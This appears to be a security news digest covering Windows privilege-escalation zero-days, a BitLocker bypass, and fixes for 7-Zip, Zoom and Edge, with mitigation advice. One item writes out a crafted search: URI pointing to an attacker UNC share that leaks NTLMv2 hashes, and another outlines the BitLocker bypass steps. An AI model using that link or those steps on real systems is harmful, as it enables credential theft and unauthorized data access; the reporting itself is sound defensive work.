CISA confirmed that ransomware groups are now exploiting a Windows Task Host privilege-escalation flaw that has been flagged as actively exploited since April. Tracked as CVE-2025-60710 and scored 7.8, it is a link-following weakness in the component that runs background scheduled tasks as SYSTEM: a local attacker with only basic user rights can use a junction on a user-writable path to make a SYSTEM-level task act on files it should not, escalating to full control. Microsoft patched it in November 2025, and it affects Windows 11 and Server 2025. Privilege escalation like this is exactly what ransomware operators need to disable defenses and spread after gaining an initial foothold.
7-Zip has released version 26.02 to fix a remote code execution vulnerability that can be triggered when a user opens a specially crafted compressed file. The archiving tool is installed on a very large number of Windows systems and is routinely used to open attachments and downloads, so a flaw that fires on opening an archive is attractive to attackers who rely on phishing. There are no reports of active exploitation so far. Similar archiving tool flaws have been weaponized quickly in the past: a WinRAR vulnerability was used last year by a Russian group in phishing attacks to install malware, so patching early matters.
Zoom has patched a critical vulnerability in its Windows software that could let an unauthenticated attacker take over user accounts over the network. Tracked as CVE-2026-53412 and rated 9.8, the flaw is an improper input validation issue affecting Zoom Workplace for Windows, the VDI client, and the Meeting SDK before version 7.0.0. Zoom found it internally, shared no technical details, and says there is no evidence of exploitation or public exploit code yet. Because the Windows client sits on millions of corporate desktops and the flaw needs no credentials or user interaction, it poses a broad risk, so applying the latest updates promptly is the key mitigation.
Less than an hour after Microsoft's July Patch Tuesday, the researcher known as Nightmare Eclipse published a proof-of-concept for LegacyHive, a Windows privilege-escalation flaw that works on fully updated systems. It abuses the Windows User Profile Service to let a standard user load another user's registry hive, including an administrator's, into their own profile, a useful stepping stone for an attacker who already has a foothold. There is no CVE, advisory, or patch. The public proof-of-concept was deliberately stripped down, needing extra credentials, but the researcher says the original had no such limits. Given this researcher's flaws have been weaponized quickly before, defenders should not wait for a fix.
Microsoft's June 2026 Patch Tuesday is the largest on record, fixing more than 200 vulnerabilities (independent counts put the total above 206), including three publicly disclosed zero-days that are not yet being exploited. The standout is CVE-2026-45586, a Windows CTFMON elevation-of-privilege flaw that grants SYSTEM access, which matches the GreenPlasma bug a researcher dropped in protest of Microsoft's bug-bounty handling; a BitLocker bypass called YellowKey was also fixed. The update includes 33 critical flaws, most of them remote code execution, hitting Remote Desktop, Hyper-V, Office, and cryptographic services. Microsoft flagged 15 issues as more likely to be exploited soon.
Hours after Patch Tuesday, the researcher known as Nightmare Eclipse published a working exploit, dubbed RoguePlanet, for an unpatched Microsoft Defender flaw that opens a command prompt with full SYSTEM privileges on fully updated Windows 10 and 11. The bug is a race condition, so the exploit is hit or miss, but the researcher reports a 100 percent success rate on some machines. They posted the proof-of-concept on a self-hosted Git server after Microsoft had earlier taken down their GitHub and GitLab repositories. It is the latest in a string of Windows zero-days (BlueHammer, RedSun, YellowKey, GreenPlasma) the researcher has released in protest of Microsoft's disclosure practices.
Huntress has disclosed an unpatched Windows vulnerability in the search: URI handler that can leak a user's NTLMv2 hash to an attacker. It mirrors CVE-2026-33829 - the Snipping Tool ms-screensketch: handler flaw Microsoft patched in April - achieving the same end via search:query and crumb=location: parameters pointing at an attacker UNC path (for example, search:query=test&crumb=location:\\attacker\share). If the user approves launching the crafted link from a web page or email, Windows connects to the attacker's SMB server and discloses the Net-NTLMv2 hash, which can be relayed or cracked to authenticate as the user. No patch is currently available; defenders should block outbound SMB and apply Huntress mitigations.
Microsoft has assigned CVE-2026-45585 and shipped mitigation guidance for YellowKey, a Windows BitLocker bypass that anonymous researcher 'Nightmare Eclipse' disclosed last week with a working PoC. The attack places crafted FsTx files on a USB drive or EFI partition, reboots into WinRE, and holds CTRL during boot to drop into a shell with full access to BitLocker-protected drives. Microsoft says no patch is available yet. Mitigations include removing the autofstx.exe entry from Session Manager's BootExecute and reconfiguring BitLocker to require TPM+PIN at startup. Nightmare Eclipse is the same researcher who recently dropped BlueHammer, RedSun, GreenPlasma, UnDefend, and MiniPlasma.
A researcher who goes by Chaotic Eclipse has dropped working proof-of-concept code on GitHub for a Windows local privilege escalation that gives SYSTEM access on fully patched Windows 11 Pro and Windows Server 2025. The bug lives in the Cloud Filter driver cldflt.sys and is, the researcher says, the same flaw Google Project Zero reported to Microsoft as CVE-2020-17103 in 2020, which Microsoft said it fixed in December 2020. The original Google PoC works unmodified. May 2026 Patch Tuesday updates do not stop it. The same researcher has dropped several other Windows zero-days in recent weeks, all of which were quickly seen in real attacks.
Microsoft has flipped its position on Edge keeping saved passwords decrypted in memory the moment the browser launches. After originally telling the researcher who reported it that the behavior was 'by design' and not a security issue, Microsoft now says future Edge builds will stop loading the password store into memory at startup. The fix is already live in the Canary channel and will reach Stable, Beta, Dev, and Extended Stable in build 148. The original disclosure came with a working tool that lets an administrator on a shared Windows machine dump other users' Edge passwords by reading process memory.